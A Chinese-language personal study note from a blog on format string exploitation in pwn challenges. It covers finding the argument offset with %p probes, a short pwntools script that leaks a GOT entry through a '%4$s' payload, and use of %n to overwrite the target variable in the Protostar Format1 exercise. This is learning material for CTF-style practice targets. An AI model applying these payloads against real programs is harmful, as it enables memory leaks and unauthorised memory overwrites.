pwn 学习笔记 格式化串计算偏移量
学习参照:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit/
利用%s泄露libc函数的got表内容
addr%k$s可以用来泄露指定地址的内容,但要先确定k的值,可控制的格式化字符串参数是函数第几个参数(k+1),减一就是格式化字符串的第几个参数(k)。
利用 [tag]%p%p%p%p%p%p%p%p%p%p来确定k的值
(懒得打字)
利用下面这个脚本随便改改就可以泄露got表内容了,觉得自己好草率
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
利用%n覆盖内存
输出格式 %n 可以将所输出字符串的长度值赋绐一个变量, 见下例:
int slen;
printf("hello world%n", &slen);
执行后变量slen被赋值为11。
payload结构:...[overwrite addr]....%[overwrite offset]$n
我们需要先1.确定要覆盖的内容的地址 2.确定与可控变量的相对偏移 3.构造payload进行覆盖
这里以Protostar的Format1为例子(https://exploit-exercises.com/protostar/)
源码为:
看源码可知,由print(string)引起的只要target不为0,就能执行if语句中的命令,思路就是覆盖target变量地址的内容,使target有值。
1.找到target的地址
找到target的地址为0x08049638
2.计算target与print参数的偏移量
被这步不知道坑了多久,终于找到了一个靠谱的方法(https://lightless.me/archives/protostar-format-writeup.html)
参拜了大神的方法之后,算出来偏移量,步骤如下
先大概测一下
减少四个
发现还差两个,补一下
可以看到括号里为自己输入的ABCD,终于对啦,把ABCD换为target的地址
3.括号里面变成了target的地址,接下来只用把最后的[%08x],换成[%08n]
就可以覆盖target的内容,是target不在为空,成功执行if语句中的命令
艰难的一天终于结束啦,果然还是晚上脑子比较好用。洗洗睡吧
pwn 学习笔记 格式化串计算偏移量相关推荐
- 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前
[学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...
- OpenCV 学习笔记(颜色直方图计算 calcHist)
OpenCV 学习笔记(颜色直方图计算 calcHist) 最近在看一本OpenCV 的书,书名是 <OpenCV 3 Computer Vision Application Programmi ...
- Jarvis Oj Pwn 学习笔记-level3
你们期待的Libc终于来了~(return_to_libc attack) 跪呈链接: https://files.cnblogs.com/files/Magpie/level3.rar nc pwn ...
- 【学习笔记】联邦计算
相关概念 数据孤岛 指 数据像孤岛一样分散存储在多个组织. 群体之间,且相互闭塞,难以用常规手段打通. 联合计算 是一种在原始数据不出本地的条件下进行多方联合计算 的新型数据共享计算范式.逐渐成为破除 ...
- 学习笔记 -《量子计算与编程入门》- 量子计算机硬件基础
文章目录 1 量子芯片 1.1 超导量子芯片 1.1.1 超导量子计算的进展 1.2 半导体量子芯片 1.2.1 基于电荷位置的量子比特 1.2.2 基于自旋的量子比特 1.2.3 半导体量子计算也正 ...
- MXNet动手学深度学习笔记:卷积计算
为什么80%的码农都做不了架构师?>>> #coding:utf-8 ''' 卷积计算 ''' import mxnet as mx from mxnet.gluon impo ...
- Vue 学习笔记 — css属性计算的问题
简书 今天在使用Vue时遇到一个问题:在切换css内联属性时某些特殊属性的计算会有问题,无法得到预期的结果. 例子: https://jsfiddle.net/blqw/cLwau40z/ 上面的页面 ...
- Python学习笔记:微积分计算
文章目录 一.集合运算 二.极限运算 1.计算数列极限 2.计算函数极限 三.导数计算 1.常数函数的导数 2.幂函数的导数 3.指数函数的导数 4.对数函数的导数 5.三角函数的导数 6.反三角函数 ...
- Jarvis Oj Pwn 学习笔记-level0
一道64位的pwn题 呈上地址: 原文件:https://files.cnblogs.com/files/Magpie/level0.rar nc pwn2.jarvisoj.com 9881 先查一 ...
最新文章
- c#devexpress GridContorl添加进度条
- 0x53. 动态规划 - 区间DP(习题详解 × 8)
- 使用datatable 将测试数据与业务分离
- python自动测试p-python自动化测试_6
- Coursera ML笔记 - 神经网络(Learning)
- Jfinal 对象列表返回前台json数据
- Aaron Stannard谈Akka.NET 1.1
- 针对新手的Java EE7和Maven项目–第8部分
- ZendGuard-5_0_1 使用备忘
- 用python实现基于PANN(retrained Audio Neural Networks)的声音检测方法
- 【眼底图像数据集】视杯 视盘分割
- 杭电ACM 2000-2099 100道题 详细解题报告出炉
- Apple Music预告登场 暗示AirPod 3新款耳机发售?
- jmeter压测学习11-模拟浏览器访问web页面
- Gitlab本地备份与远程机备份
- opencv Scalar()的使用 心得
- 接入以太坊(Ethereum)测试网络
- 英雄联盟英雄信息【python爬虫】
- 略读中国软件开发者白皮书
- php 获取用户的IP
热门文章
- 诗经1 国风-周南-关雎
- 函数的递归调用举例之汉诺塔问题模型
- DOKUWIKI的安装以及DOKUWIKI与WORDPRESS共存
- Zabbix_Server迁移之Agent地址批量修改
- word7计算机搜索设置,win7系统下word文档中进行查找和替换的方法【图文教程】...
- [RK3288][Android6.0] 移植笔记 --- Camera IC OV5640添加
- 管理类联考——英语——趣味篇——阅读——考题的来源
- java基础——条件语句
- 十九、帧间预测编码_1、帧间预测编码的基本原理
- 区块链安全理论与实践(Blockchain for Distributed Systems Security)阅读笔记D2